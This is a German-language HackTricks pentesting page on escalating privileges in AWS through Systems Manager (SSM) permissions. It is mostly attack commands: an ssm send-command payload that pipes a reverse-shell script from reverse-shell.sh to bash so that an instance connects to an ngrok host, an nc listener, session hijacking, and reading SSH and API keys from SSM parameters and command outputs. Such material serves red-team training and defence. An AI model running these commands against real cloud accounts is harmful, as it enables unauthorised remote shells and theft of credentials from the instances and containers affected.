AWS - SSM Privesc
Reading time: 6 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
SSM
Für weitere Informationen zu SSM siehe:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
ssm:SendCommand
Ein Angreifer mit der Berechtigung ssm:SendCommand
kann Befehle in Instanzen ausführen, die den Amazon SSM Agent ausführen, und die IAM-Rolle kompromittieren, die darin läuft.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
Falls Sie diese Technik verwenden, um Privilegien innerhalb einer bereits kompromittierten EC2-Instanz zu eskalieren, könnten Sie einfach die rev shell lokal mit folgendem Befehl erfassen:
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
Potenzielle Auswirkungen: Direkte Privilegieneskalation zu den EC2 IAM-Rollen, die an laufende Instanzen mit SSM-Agenten angehängt sind.
ssm:StartSession
Ein Angreifer mit der Berechtigung ssm:StartSession
kann eine SSH-ähnliche Sitzung in Instanzen starten, die den Amazon SSM-Agenten ausführen, und die IAM-Rolle kompromittieren, die darin ausgeführt wird.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
caution
Um eine Sitzung zu starten, benötigen Sie das SessionManagerPlugin installiert: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
Potenzielle Auswirkungen: Direkte Privilegieneskalation zu den EC2 IAM-Rollen, die an laufende Instanzen mit SSM-Agenten angehängt sind.
Privilegieneskalation zu ECS
Wenn ECS-Aufgaben mit ExecuteCommand
aktiviert ausgeführt werden, können Benutzer mit ausreichenden Berechtigungen ecs execute-command
verwenden, um einen Befehl innerhalb des Containers auszuführen.
Laut der Dokumentation geschieht dies durch die Erstellung eines sicheren Kanals zwischen dem Gerät, das Sie verwenden, um den “exec“ Befehl zu initiieren, und dem Zielcontainer mit SSM Session Manager. (SSM Session Manager Plugin ist notwendig, damit dies funktioniert)
Daher werden Benutzer mit ssm:StartSession
in der Lage sein, eine Shell innerhalb von ECS-Aufgaben mit dieser Option aktiviert zu erhalten, indem sie einfach Folgendes ausführen:
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
Potenzielle Auswirkungen: Direkte Privilegieneskalation zu den ECS
IAM-Rollen, die an laufende Aufgaben mit aktiviertem ExecuteCommand
angehängt sind.
ssm:ResumeSession
Ein Angreifer mit der Berechtigung ssm:ResumeSession
kann eine SSH-ähnliche Sitzung in Instanzen, die den Amazon SSM-Agenten ausführen, mit einem getrennten SSM-Sitzungsstatus neu starten und die IAM-Rolle, die darin ausgeführt wird, kompromittieren.
# Check for configured instances
aws ssm describe-sessions
# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
Potenzielle Auswirkungen: Direkte Privilegieneskalation zu den EC2 IAM-Rollen, die an laufende Instanzen mit SSM-Agenten und getrennten Sitzungen angehängt sind.
ssm:DescribeParameters
, (ssm:GetParameter
| ssm:GetParameters
)
Ein Angreifer mit den genannten Berechtigungen wird in der Lage sein, die SSM-Parameter aufzulisten und diese im Klartext zu lesen. In diesen Parametern kann man häufig sensible Informationen wie SSH-Schlüssel oder API-Schlüssel finden.
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
Potenzielle Auswirkungen: Sensible Informationen innerhalb der Parameter finden.
ssm:ListCommands
Ein Angreifer mit dieser Berechtigung kann alle Befehle auflisten, die gesendet wurden, und hoffentlich sensible Informationen darin finden.
aws ssm list-commands
Potenzielle Auswirkungen: Sensible Informationen in den Befehlszeilen finden.
ssm:GetCommandInvocation
, (ssm:ListCommandInvocations
| ssm:ListCommands
)
Ein Angreifer mit diesen Berechtigungen kann alle Befehle auflisten, die gesendet wurden, und die Ausgabe lesen, in der Hoffnung, sensible Informationen darin zu finden.
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
Potenzielle Auswirkungen: Sensible Informationen in der Ausgabe der Befehlszeilen finden.
Codebuild
Sie können SSM auch verwenden, um in ein Codebuild-Projekt, das gerade erstellt wird, einzutreten:
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.